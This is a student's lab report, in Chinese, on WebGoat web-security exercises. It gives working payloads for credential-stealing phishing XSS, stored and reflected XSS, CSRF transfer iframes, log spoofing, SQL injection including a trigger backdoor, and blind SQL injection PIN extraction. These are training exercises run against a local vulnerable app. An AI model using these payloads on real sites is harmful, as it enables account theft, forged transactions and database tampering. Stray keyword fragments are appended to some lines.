20155219付穎卓 《網絡對抗技術》 Exp9 Web安全基礎

實驗後回答問題

1.SQL注入攻擊原理,如何防護java

·SQL攻擊的原理很簡單,就是在用戶名輸入框裏輸入SQL語句,來欺騙數據庫服務器進行惡意操做web

·防護能夠從如下幾個方面下手:sql

(1)在web網頁設計的時候禁止用戶輸入的內容寫入後臺執行程序數據庫

(2)設置過濾條件,將可疑的語句過濾掉瀏覽器

2.XSS攻擊的原理,如何防護安全

·XSS攻擊的原理主要是經過輸入可執行代碼來獲取目標網站的cookie,從而實現用其餘人的身份登陸,並進行攻擊服務器

·關於XSS的防護也能夠設置過濾語句,對於代碼、可執行語句等一概過濾掉cookie

3.CSRF攻擊原理,如何防護xss

·CSRF的攻擊原理主要是用其餘用戶的身份訪問網站並利用網站生成的cookie向服務器發送請求網站

·要想防護CSRF攻擊能夠經過驗證碼等對正在登陸的用戶進行驗證,同時不在頁面中暴露用戶的隱私信息

實踐過程記錄

WebGoat開啓

  • 首先要知道WebGoat是什麼,它是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有不少,包含了XSS、線程安全、SQL注入等,咱們本次的實驗就是在WebGoat平臺上進行。

1.在命令行輸入java -jar webgoat-container-7.0.1-war-exec.jar開啓WebGoat

2.運行一段時間以後出現Starting ProtocolHandler表示開啓成功,此時不要關閉命令行,打開瀏覽器訪問localhost:8080/WebGoat。

登錄以後是以下界面:

XSS注入攻擊:

Phishing with XSS

1.該實驗的目的是讀取登陸用戶的用戶名和密碼。首先輸入編輯的XSS攻擊的代碼,會顯示以下界面:

咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,而且將這些信息發送給http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:,如圖所示:

攻擊成功!

Stored XSS Attacks

1.這個實驗的目的是經過在title中輸入代碼使用戶訪問時彈出非預期的內容。在這裏咱們在title中輸入代碼

<script>alert("你想在頁面中顯示的內容");</script>

2.窗口彈出,攻擊成功!

Reflected XSS Attacks

當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看:

這時若是咱們將帶有攻擊性的URL做爲輸入源,例如依舊輸入

<script>alert("lxm attack succeed!");</script>,就會彈出對話框:

  • 雖然這個效果和上一個存儲型XSS實驗的效果相似,可是二者所用的原理不同,存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板,而這個實驗中用的是反射型XSS攻擊是非持久化的,應用的場景好比欺騙用戶本身去點擊連接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的,因此通常來講存儲型XSS攻擊危害更大。

    Cross Site Request Forgery(CSRF)

本次實驗:

這個實驗的目的是經過郵件的方式僞造一個轉帳請求。咱們需根據題目裏給出的數值參數來輸入代碼,在文本框中寫入

<iframe src="attack?Screen=題中給出的scr&menu=題中給出的menu&transferFunds=轉帳金額"></iframe>

題目中具體的參數能夠參照右邊的參數欄

轉帳成功,以下圖:

CSRF Prompt By-Pass

和上一個實驗相似,可是這個實驗要求有轉帳請求和確認轉帳成功請求兩個請求,在代碼的transferFunds部分略有不一樣

輸入代碼

<iframe
    src="attack?Screen=題中給出的scr&menu=題中給出的menu&transferFunds=轉帳金額">
</iframe>
 
<iframe
    src="attack?Screen=題中給出的scr&menu=題中給出的menu&transferFunds=CONFIRM">
</iframe>

獲得

以後我又作了另外一次試驗:

先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000進入確認轉帳請求頁面:

以後看了一下網頁的源代碼,發現transferFunds的值變成了CONFIRM:

因而點擊了CONFIRM按鈕以後,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功

Injection Flaws練習

Numeric SQL Injection

1.該實驗原本選中一個城市以後只能看到一條關於這個城市的天氣信息,攻擊以後選中這個城市能夠顯示全部城市的天氣信息。

2.在網頁代碼中在任意一城市後面加上1=1永真式便可實現該題目

3.改好以後選中Columbia,Go!便可得到全部城市的天氣

Log Spoofing

  • 該試驗的目的是在代碼中加入用戶名admin迷惑用戶,當用戶登錄的時候登陸失敗,但覺得本身登錄成功了。

首先,咱們輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,在User Name文本框中輸入fyz%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:

攻擊成功!

String SQL Injection

1.該試驗正常只能查看到一我的的信息,攻擊後能夠查看到全部人的信息了。

2.在輸入框中輸入' or 1=1;--,攻擊成功!

LAB:SQL Injection(Stage 1 String SQL Injection)

1.首先在密碼欄中輸入' or 1=1 -- 進行SQL注入,可是登陸失敗

後面查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符,更改成80。

而後從新登陸,登陸成功:

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

1.首先更改密碼限制長度,輸入' or 1=1 -- 登陸,如圖:

在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個:

3.登錄一下,能夠看到老闆的信息

Database Backdoors

1.先看一下默認的101用戶的信息,接下來繼續輸入101; update employee set salary=100000,給用戶101張漲工資

2.按照題目裏要求的,輸入

101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155219@163.com'WHERE userid = NEW.userid;

將郵箱改成個人郵箱,把101的工資偷走啦嘻嘻

Blind Numeric SQL Injection

1.該實驗的目標是找到cc_number爲1111222233334444字段的數值,咱們首先輸入

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

顯示帳號無效,說明pin的數值比10000小

2.接下來運用二分法慢慢縮小範圍,找到pin的值爲2364,輸入找到的pin值,實驗成功!

全部成功項目截圖

實驗總結與體會

此次實驗作起來仍是挺有趣的,每個小實驗都有明確的目標,作實驗的時候也知道本身在作什麼,作了幾個以後也是慢慢掌握了一些套路吧越作越順手,想想若是這些真的應用到了咱們的生活中那簡直可怕,之後登陸網頁仍是要謹慎。

相關文章
相關標籤/搜索